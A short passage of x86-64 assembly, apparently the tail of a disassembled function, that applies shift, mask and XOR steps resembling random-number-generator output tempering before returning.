and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret